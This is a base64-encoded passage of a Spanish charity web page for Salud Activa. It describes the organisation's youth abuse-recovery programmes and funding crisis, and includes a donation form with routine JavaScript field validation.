GFzLCBsYXMgY2FwYWNpdGFjaW9uZXMgZXh0ZXJuYXMgeSBmb3JtYW1vcyBtdWNob3MsIHBlcm8gbXVjaG9zIHByb2Zlc2lvbmFsZXPigKZudW5jYSB0dXZpbW9zIGVsIHRpZW1wbyB5IGVsIGRpbmVybyBwYXJhIHNpc3RlbWF0aXphciBsYSBpbmZvcm1hY2nDs24geSBwb2RlciBjb250YXIgY29uIGVzdGFkw61zdGljYXMgcG9ycXVlIGVsIHRpZW1wbyB5IGVsIHBvY28gZGluZXJvIGxvIHVzYW1vcyBwYXJhIGFsaXZpYXIgZWwgc3VmcmltaWVudG8gZGUgbG9zIHBhY2llbnRlcyBxdWUgcmVjdXJyZW4gYSBub3NvdHJvcy4KICA8YnIgLz48YnIgLz4KICBUYW1iacOpbiBub3MgZGltb3MgY3VlbnRhIHF1ZSBlbiBtdWNob3MgbW9tZW50b3MgZGUgbGEgdmlkYSBkZSBsb3MgbmnDsW9zIHkgbmnDsWFzIG5vIGFsY2FuemEgY29uIGVsIHRyYXRhbWllbnRvIGVuIHVuIGNvbnN1bHRvcmlvLCBwb3JxdWUgbGFzIHByb2JsZW3DoXRpY2FzIHNlIGNvbXBsZWppemFuLCBsYXMgc2l0dWFjaW9uZXMgc2UgYWdyYXZhbiB5IHNlbnRpbW9zIHF1ZSB0ZW7DrWFtb3MgcXVlIGhhY2VyIGFsZ28gbcOhc+KApgogIEFzw60gbmFjZSBudWVzdHJvIFByb2dyYW1hIE1ldGFtb3Jmb3NpcywgdW4gZXNwYWNpbyBkZSB0cmF0YW1pZW50byBpbnRlZ3JhbCBjb24gaW50ZXJuYWNpw7NuIHBhcmEgYWRvbGVzY2VudGVzIG11amVyZXMgdsOtY3RpbWFzIGRlIGFidXNvIHNleHVhbCwgZGUgdmlvbGVuY2lhLCBkZSB0cmF0YeKAplRhbWJpw6luIGluaWNpYW1vcyBudWVzdHJvcyBwcm9ncmFtYXMgQ29uc3RydXllbmRvIHkgQXByZW5kZXIgYSB2b2xhciwgZGVzdGluYWRvIGEgYWRvbGVzY2VudGVzIGVuIGNvbmZsaWN0byBjb24gbGEgbGV5IHBlbmFsLCAgcHVuaWJsZXMgeSBubyBwdW5pYmxlcyByZXNwZWN0aXZhbWVudGUsIAogIGFsZ28gYWx0ZXJuYXRpdm8gYSBsYSBpbnRlcm5hY2nDs27igKYKICA8YnIgLz48YnIgLz4KICBBIGxvIGxhcmdvIGRlIGVzdG9zIGHDsW9zIGhlbW9zIGRlc2Fycm9sbGFkbyBtdWNob3MgcHJvZ3JhbWFzLCBxdWUgdHV2aWVyb24gcXVlIGRpc2NvbnRpbnVhcnNlIGRlYmlkbyBhIGxhIGZhbHRhIGRlIHJlY3Vyc29zIGVjb27Ds21pY29zLCBsYSB2ZXJkYWQgZXMgcXVlIG51bmNhIGhheSBkaW5lcm8gcGFyYSBlc3RvcyB0ZW1hcywgYSBwZXNhciBkZSBxdWUgdG9kbyBlbCBtdW5kbyBzZSBsYSBwYXNhIGhhYmxhbmRvIGRlIGVsbG9zLCBwZXJvIGhhYmxhbiwgc29sbyBoYWJsYW7igKYKICA8YnIgLz48YnIgLz4KICBIb3kgbm9zIGVuY29udHJhbW9zIGVuIGVzdGUgbW9tZW50bywgZW4gZG9uZGUgU2FsdWQgQWN0aXZhIHNlIGVuY3VlbnRyYSBlbiBjcmlzaXPigKYKICBOdWVzdHJhIMO6bmljYSBmdWVudGUgZGUgZmluYW5jaWFtaWVudG8gcGFyZWNlIHF1ZSB0YW1iacOpbiBlc3TDoSBlbiBjcmlzaXMsIG5vcyBlbmNvbnRyYW1vcyBlbiB1bmEgZW5jcnVjaWphZGEsIG5lY2VzaXRhbW9zIGRlIGxhIGF5dWRhIGRlIHVzdGVkZXPigKZTaSBsZXMgcGFyZWNlIHF1ZSBlc3RhbW9zIGhhY2llbmRvIGFsZ28gYnVlbm8gcGFyYSBsYSBnZW50ZSBsb3MgaW52aXRhbW9zIGEgcXVlIHNlIGFzb2NpZW4gYSBub3NvdHJvcyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuYSBwZXF1ZcOxYSBjb250cmlidWNpw7NuIG1lbnN1YWwgcXVlIHNlIGRlYml0YXLDoSBkZSBzdSB0YXJqZXRhIAogIGRlIGNyw6lkaXRvLCB0b2RhIGNvbGFib3JhY2nDs24gcG9yIHBlcXVlw7FhIHF1ZSBzZWEgbm9zIGF5dWRhcsOhCiAgPGJyIC8+PGJyIC8+CiAgQWNvbXBhw7FlbiBlc3RhIHRhcmVhIHF1ZSBkZXNlYW1vcyBzZWd1aXIgaGFjaWVuZG/igKYKPC9zcGFuPjwvcD4KPC9kaXY+CgkJCjwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyIj48aW1nIHNyYz0iaW1hZ2VzL2Zvb3Rlci5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iODciIC8+PC9kaXY+Cgo8L2Rpdj4KICAgICA8IS0tZW5kIG9mIENPTlRFTklETzEgLS0+CiAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRlbmlkbzIiIGlkPSJjb250ZW5pZG8yIj4KICAgIDwhLS1DT05URU5JRE8gMmRvIEJPVE9OICAtLT4KICAgIAoKPGRpdiBjbGFzcz0iZm9uZG9fY29udDIiPgoKPGRpdiBjbGFzcz0iZm9ybSI+CiAgPGRpdiBjbGFzcz0idGV4dG8iPgogICAgPHA+Jm5ic3A7PC9wPgogICAgPHA+Jm5ic3A7PC9wPgo8cD48c3BhbiBjbGFzcz0idGl0dWxvX2Zvcm0iPjxiPkRBVE9TIFBFUlNPTkFMRVM8L2I+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9InRpdHVsb19mb3JtMiI+KEVzIG9ibGlnYXRvcmlvIHJlbGxlbmFyIGxvcyBjYW1wb3MgCiAgICAgICAgICAgICAgICBpbmRpY2Fkb3MgY29uICopPC9zcGFuPjwvcD4KICAgIDxkaXYgaWQ9ImJsb3F1ZV9penFfMDMiPgogICAgCQk8ZGl2IGlkPSJibG9xdWVfaXpxXzAzX3RleHRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB2YWxpZGFyRW1haWwoZW1haWwpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlICA9IC9eKFthLXpBLVowLTlfLi1dKStAKChbYS16QS1aMC05LV0pKy4pKyhbYS16QS1aMC05XXsyLDR9KSskLzsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFyZS50ZXN0KGVtYWlsKSkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoubm9tYnJlLnZhbHVlID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgaW5ncmVzYXIgc3Ugbm9tYnJlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JqLm5vbWJyZS5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouYXBlbGxpZG8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBhcGVsbGlkbyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5hcGVsbGlkby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVsZWZvbm8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSB0ZWxlZm9ubyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai50ZWxlZm9uby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouZW1haWwudmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBlbWFpbCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5lbWFpbC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHZhbGlkYXJFbWFpbChvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFbCBlbWFpbCBpbmdyZXNhZG8gZXMgaW5jb3JyZWN0byIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmouZW1haWwuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVybWlub3MuY2hlY2tlZCAhPSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgYWNlcHRhciBsb3MgdMOpcm1pbm9zIHkgY29uZGljaW9uZXMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmoudGVybWlub3MuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSJjb250YWN0IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iZW52aW8ucGhwIiBvblN1Ym1pdD0icmV0dXJuIHZhbGlkYXIodGhpcykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iYmxvcXVlX2l6cV8wMiI+CjxoMT5Ob21icmU8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5BcGVsbGlkbzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlByb2Zlc2nDs248L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5MdWdhciBkZSB0cmFiYWpvPC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+VGVsw6lmb25vPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+RW1haWw8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPGgxPk5yby4gZGUgVGFyamV0YTxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+IC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5Nb250bzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlRpcG8gZGUgT3BlcmFjacOzbjxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxIGlkPSJoMV90YXJqZXRhIj5UYXJqZXRhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgaWQ9ImgxX2ZyZWN1ZW5jaWEiPkZyZWN1ZW5jaWE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAJCSAgPGZpZWxkc2V0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0ibm9tYnJlIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJub21icmUiIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJhcGVsbGlkbyIgY2xhc3M9InJlZzEiIHNpemU9IjE1IiB3aWR0aD0iMTA1IiBpZD0iYXBlbGxpZG8iIHR5cGU9InRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0icHJvZmVzaW9uIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJwcm9mZXNpb24iIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJ0cmFiYWpvIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJ0cmFiYWpvIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0idGVsZWZvbm8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRlbGVmb25vIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0iZW1haWwiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij48L3A+PGJyIC8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gY2xhc3M9InRpdHVsb19mb3JtIj48Yj5ET05BQ0lPTkVTPC9iPjwvc3Bhbj48L3A+ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPHA+PGlucHV0IG5hbWU9InRhcmpldGEiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRhcmpldGEiIHR5cGU9InRleHQiPjwvcD4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c2VsZWN0IG5hbWU9Im1vbnRvIiBjbGFzcz0icmVnMiIgaWQ9Im1vbnRvIiBvbkNoYW5nZT0iaWYgKHRoaXMudmFsdWUgPT0gJy0xJykgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PScnOyB9IGVsc2UgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PSdub25lJzsgfSAiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNTAiPiQgNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwMCI+JCAxMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE1MCI+JCAxNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIwMCI+JCAyMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj5PdHJvLCBpbmdyZXNlIHZhbG9yPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc29sb051bWVyb3MobXlmaWVsZCxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdmFyIGtleWNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKHdpbmRvdy5ldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICBrZXljb2RlID0gd2luZG93LmV2ZW50LmtleUNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgaWYgKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIGtleWNvZGUgPSBlLndoaWNoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCgoa2V5Y29kZT40NykgJiYgKGtleWNvZGU8NTgpKSAgfHwgKGtleWNvZGU9PTgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idHh0bW9udG8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjIwIiBpZD0idHh0bW9udG8iIHR5cGU9InRleHQiIG1heGxlbmd0aD0iNyIgb25LZXlQcmVzcz0icmV0dXJuIHNvbG9OdW1lcm9zKHRoaXMsIGV2ZW50KTsiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG11ZXN0cmFGb3JtYVBhZ28odmFsb3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodmFsb3IgPT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9jdW90YXMnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9mb3JtYXBhZ29vdHJvJykuc3R5bGUuZGlzcGxheSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfdGFyamV0YScpLmlubmVySFRNTCA9ICdGb3JtYSBkZSBQYWdvPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2gxX2ZyZWN1ZW5jaWEnKS5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwX2N1b3RhcycpLnN0eWxlLmRpc3BsYXkgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BfZm9ybWFwYWdvb3RybycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoMV90YXJqZXRhJykuaW5uZXJIVE1MID0gJ1RhcmpldGE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfZnJlY3VlbmNpYScpLmlubmVySFRNTCA9ICdGcmVjdWVuY2lhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzZWxlY3QgbmFtZT0iZm9ybWFwYWdvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnbyIgb25DaGFuZ2U9Im11ZXN0cmFGb3JtYVBhZ28odGhpcy52YWx1ZSkiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj5UYXJqZXRhIGRlIENyw6lkaXRvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPkVmZWN0aXZvICjDum5pY2EgdmV6KTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfbWVkaW9wYWdvIiBzdHlsZT0iZGlzcGxheTpub25lIj48c2VsZWN0IG5hbWU9Im1lZGlvcGFnbyIgY2xhc3M9InJlZzIiIGlkPSJtZWRpb3BhZ28iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjZweDsiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTUiPk1hc3RlcmNhcmQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPlZpc2E8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPkFtZXJpY2FuIEV4cHJlc3M8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgIDxwIGlkPSJwX2N1b3RhcyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJjdW90YXMiIGNsYXNzPSJyZWcyIiBpZD0iY3VvdGFzIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IHRvcDo3cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPkQmZWFjdXRlO2JpdG8gQXV0b20mYWFjdXRlO3RpY28gKHRvZG9zIGxvcyBtZXNlcyk8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPsOabmljYSB2ZXo8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfZm9ybWFwYWdvb3RybyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJmb3JtYXBhZ29vdHJvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnb290cm8iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjdweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk3Ij5EZXBvc2l0byBCYW5jYXJpbzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk4Ij5QYWdvIGVuIEVmZWN0aXZvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI5OTkiPkRpbmVyb01haWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPiAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyZWNpYmlyIiBpZD0iY2hlY2siIHR5cGU9ImNoZWNrYm94IiBjaGVja2VkPSJ0cnVlIiB2YWx1ZT0iU2kiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMmaWFjdXRlOywgZGVzZW8gcmVjaWJpciAKICAgICAgICAgICAgICAgIGluZm9ybWFjaSZvYWN1dGU7biBwZXJpJm9hY3V0ZTtkaWNhIGRlIFNhbHVkIEFjdGl2YSB5IAogICAgICAgICAgICAgICAgc3VzIFByb3llY3RvcyBkZSBEZXNhcnJvbGxvLiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJsaXN0YSIgaWQ9ImNoZWNrIiB0eXBlPSJjaGVja2JveCIgY2hlY2tlZD0idHJ1ZSIgdmFsdWU9IlNpIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpIGRlc2VvIGFwYXJlY2VyIGVuIGxhIGxpc3RhIGRlIGRvbmFjaW9uZXMgaW5kaXZpZHVhbGVzLiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcGFyZWNlciZhYWN1dGU7IHN1IG5vbWJyZSBlbiBsYSBsaXN0YSBkZWwgcG9ydGFsIGRlIFNhbHVkIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY3RpdmEuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idGVybWlub3MiIGlkPSJ0ZXJtaW5vcyIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSJTaSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY2VwdG8gbG9zIHTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRlbcOhcywgY29uIHR1IGRvbmFjacOzbiwgb2J0ZW7DqXMgZGVzY3VlbnRvcyBlbiB0b2RhcyBsYXMgYWN0aXZpZGFkZXMgZGUgU2FsdWQgQWN0aXZhOiBjdXJ